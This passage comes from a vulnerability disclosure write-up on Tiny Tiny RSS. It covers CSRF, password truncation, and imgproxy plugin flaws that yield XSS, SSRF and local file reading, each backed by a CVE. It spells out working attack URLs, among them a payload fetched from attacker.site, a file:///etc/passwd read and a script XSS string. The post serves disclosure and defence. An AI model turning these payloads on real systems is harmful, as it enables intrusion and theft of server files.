href="http://neagaru.com/pdfs/TinyTinyRSS.pdf">PDF report here</a>. Inside the report you will see mentions of the proof of concept (PoC) scripts. <s>We have deliberately not published them to prevent script kiddie attacks. </s> The exploit code was published a while after the fixes were released and can be found on <a href="https://www.exploit-db.com/exploits/49606">Exploit-DB</a>.</p><h1>Forcing subscribe and logout</h1><p>After cloning <a href="https://git.tt-rss.org/fox/tt-rss/">the repository</a> first file we analyzed was in <code>classes/handler/public.php</code> as that was part that was accessible while unauthenticated. What we immediately noticed is that some functionalities there are not protected by CSRF token. At this time, logout and subscribe functions seemed like the only ones worth exploiting in this manner.</p><p>For forcefully subscribing user to your feed one can send GET requests to this URL: <code>/public.php?op=subscribe&amp;feed_url=http://your-site.com</code></p><p>For annoying user by logging them out, one can use this URL: <code>/public.php?op=logout</code></p><p>Incorporating these URLs into image tag in feed could be used for denial of service of sorts by subscribing users to a lot of unwanted feeds or logging him out whenever he views feed. However, this seemed more like an annoyance than a genuinely critical issue.</p><h1>Interesting password processing</h1><p>Thinking there is nothing left to see in the <code>public.php</code> file, we decided to explore webapp a bit without looking at the source code. Specifically, we were hunting for XSS vulnerabilities. We noticed that when login failed, the username would be visible in system logs (preferences-&gt;event log with an admin account), so we wanted to check if this could lead to XSS. Logging in with username <code>test&lt;aaa</code> yielded an interesting result.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7CF0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7CF0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 424w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 848w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1272w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png" width="867" height="304" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:304,&quot;width&quot;:867,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!7CF0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 424w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 848w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1272w, https://substackcdn.com/image/fetch/$s_!7CF0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd8fb25c-c462-4da2-935a-ef0dad404476_867x304.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As we can see, only the part before <code>&lt;</code> got processed, and the rest was truncated.</p><p>We decided to check if it processes passwords the same way by adding <code>&lt;randomgarbage</code> to a valid password. To our surprise, we successfully logged in! This looks like a harmless gimmick initially as it gains no advantage to an attacker, but there is a curious edge-case.</p><p>Assume the user sets his/her password to <code>a&lt;verysecurepassword</code>, tt-rss gives no warning that <code>&lt;</code> should not be used in a password. Next time the user logs in with <code>a&lt;verysecurepassword</code>, it will be successful, but the only part before <code>&lt;</code> is being processed! Therefore it is also possible to log in just by using password <code>a</code>!</p><h1>Imgproxy - path to RCE</h1><p>We decided to go back to source code analysis again. We rechecked <code>public.php</code> to see if we missed something. Indeed there was an interesting function: <code>pluginhandler</code>. tt-rss comes with several plugins installed by default (more can be added, but we were only interested in exploiting default tt-rss), and each has an <code>init.php</code> file with plugin class defined. With <code>pluginhandler</code> function, one can call public methods of plugin class (plugin name goes in <code>plugin</code> parameter and method name in <code>pmethod</code>). So we decided to check if there are any exploitable public methods.</p><p>After changing directory to <code>tt-rss/plugins</code> we grepped for <code>public function</code>. Method <code>imgproxy</code> in <code>af_proxy_http</code> plugin looked interesting.</p><p><strong>It should be noted that none of the vulnerabilities found require plugin to be enabled, it just needs to be installed (and it is, by default).</strong></p><p>At first there was slight disappointment, cause right at the beginning of the method, there was the following code:</p><pre><code><code>$url = rewrite_relative_url(get_self_url_prefix(), $_REQUEST["url"]);
// called without user context, let's just redirect to original URL

if (!$_SESSION["uid"]) {
        header("Location: $url");
        return;
}
</code></code></pre><p>We can supply the <code>url</code> parameter, but a redirect will be made to that URL (open redirect is not a significant attack vector for this web app) when unauthenticated. However, we decided to analyze the plugin further to see if feasible attack vectors could use minimal user interaction.</p><h2>First XSS vulnerability</h2><p>Code continues like this:</p><pre><code><code>$local_filename = sha1($url);
...
$data = fetch_file_contents(["url" =&gt; $url, "max_size" =&gt; MAX_CACHE_FILE_SIZE]);
...
if (!$disable_cache) {
    if ($this-&gt;cache-&gt;put($local_filename, $data)) {
          header("Location: " . $this-&gt;cache-&gt;getUrl($local_filename));
          return;
          }
}
</code></code></pre><p>If user is authenticated and makes the request with <code>url</code> parameter, the plugin will compute sha1 hash of the URL, which will be the filename. The plugin will fetch the content hosted at the URL (using <code>libcurl</code> if it is installed) and store it at <code>{ttrss directory}/cache/images/{sha1 sum of the url}</code>, the file can also be accessed using <code>cached_view</code> functionality in <code>public.php</code>: <code>/public.php?op=cached_url&amp;file=images/{sha1 sum of the url}</code></p><p>What raised our suspicious is that we could not find any code enforcing that this file needs to be delivered as an image, so we tried to upload the HTML page and execute javascript.</p><p>Turns out it was successful! If the URL of the payload is supplied in the <code>url</code> parameter, the plugin will fetch the payload, store it in the cache directory, and then redirect users to view stored files.<br>Thus if the user clicks a link like this, javascript code can be executed:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://attacker.site/xss.html</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!65cy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!65cy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 424w, https://substackcdn.com/image/fetch/$s_!65cy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 848w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1272w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png" width="1232" height="628" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/db667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:628,&quot;width&quot;:1232,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;60eb4a4da519ab8aa9656ac8defb9f68&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="60eb4a4da519ab8aa9656ac8defb9f68" title="60eb4a4da519ab8aa9656ac8defb9f68" srcset="https://substackcdn.com/image/fetch/$s_!65cy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 424w, https://substackcdn.com/image/fetch/$s_!65cy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 848w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1272w, https://substackcdn.com/image/fetch/$s_!65cy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb667193-546a-4db1-b95f-e3367ad7ea55_1232x628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25789">CVE-2020-25789</a> was assigned to keep track of this vulnerability.</p><h2>SSRF</h2><p>In addition to not enforcing MIME type, we also noticed a lack of internal address filtering. In other words, making requests to internal services was possible as an authenticated user.</p><p>An authenticated user could request this:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=http://127.0.0.1:1234/sensitiveInternalPage.html</code></p><p>Alternatively, an unauthenticated attacker could leverage XSS described in the previous section to scan internal services.</p><h2>LFI</h2><p>We looked again at how <code>af_proxy_http</code> fetches content. In <code>plugins/af_proxy_http/init.php</code> the following line can be seen:<br><code>$data = fetch_file_contents(["url" =&gt; $url, "max_size" =&gt; MAX_CACHE_FILE_SIZE]);</code></p><p>Function <code>fetch_file_contents</code> is not a native PHP function but rather a custom function written by tt-rss developers. If <code>libcurl</code> is installed, it uses it to fetch content from the requested URL (if <code>libcurl</code> is not installed, it uses <code>file_get_contents</code>). Plenty of protocols are supported by <code>libcurl</code>, including <code>file://</code>, again we noticed no filtering or enforcing that URL needs to be HTTP URL. JThus we figured reading local files must be possible.</p><p>First attempt failed:<br><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=file:///etc/passwd</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Lt3U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 424w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 848w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1272w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png" width="1025" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1025,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;ec2a357b91a9c73101abe05c18c63154&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="ec2a357b91a9c73101abe05c18c63154" title="ec2a357b91a9c73101abe05c18c63154" srcset="https://substackcdn.com/image/fetch/$s_!Lt3U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 424w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 848w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1272w, https://substackcdn.com/image/fetch/$s_!Lt3U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7c5aa734-1dcd-48c9-af5d-b2be36cdb080_1025x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It failed because the file will be stored in cache only if <code>libcurl</code> gets HTTP response code 200; alternatively, it shows an error image.</p><p>However, file contents can still be seen. For some reason, the plugin also has an alternative way of showing errors that can be used to get file contents. All that needs to be done to trigger it is add the <code>text</code> parameter.</p><p><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=file:///etc/passwd&amp;text=1</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!3xs9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3xs9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 424w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 848w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1272w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png" width="664" height="531" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:531,&quot;width&quot;:664,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Screenshot_2020-09-10-Screenshot&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Screenshot_2020-09-10-Screenshot" title="Screenshot_2020-09-10-Screenshot" srcset="https://substackcdn.com/image/fetch/$s_!3xs9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 424w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 848w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1272w, https://substackcdn.com/image/fetch/$s_!3xs9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa347e932-8e00-422b-a5bf-c6b0045b56d9_664x531.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>As with SSRF, an attacker can pair this vulnerability with reflected XSS and extract sensitive files' contents.</p><p>This vulnerability has been asigned <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-25787">CVE-2020-25787</a> by the MITRE corporation.</p><h3>Another XSS</h3><p>For completion's sake, let's mention that <code>url</code> parameter is also vulnerable to reflected XSS when used in conjunction with the text parameter.</p><p><code>/public.php?op=pluginhandler&amp;plugin=af_proxy_http&amp;pmethod=imgproxy&amp;url=&lt;script&gt;alert(1)&lt;/script&gt;&amp;text=1</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PVLX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PVLX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 424w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 848w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1272w, https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PVLX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3bd9c08-3018-4bd8-b050-b4f9bb8c0a4a_1364x582.png" width="1364" height="582" 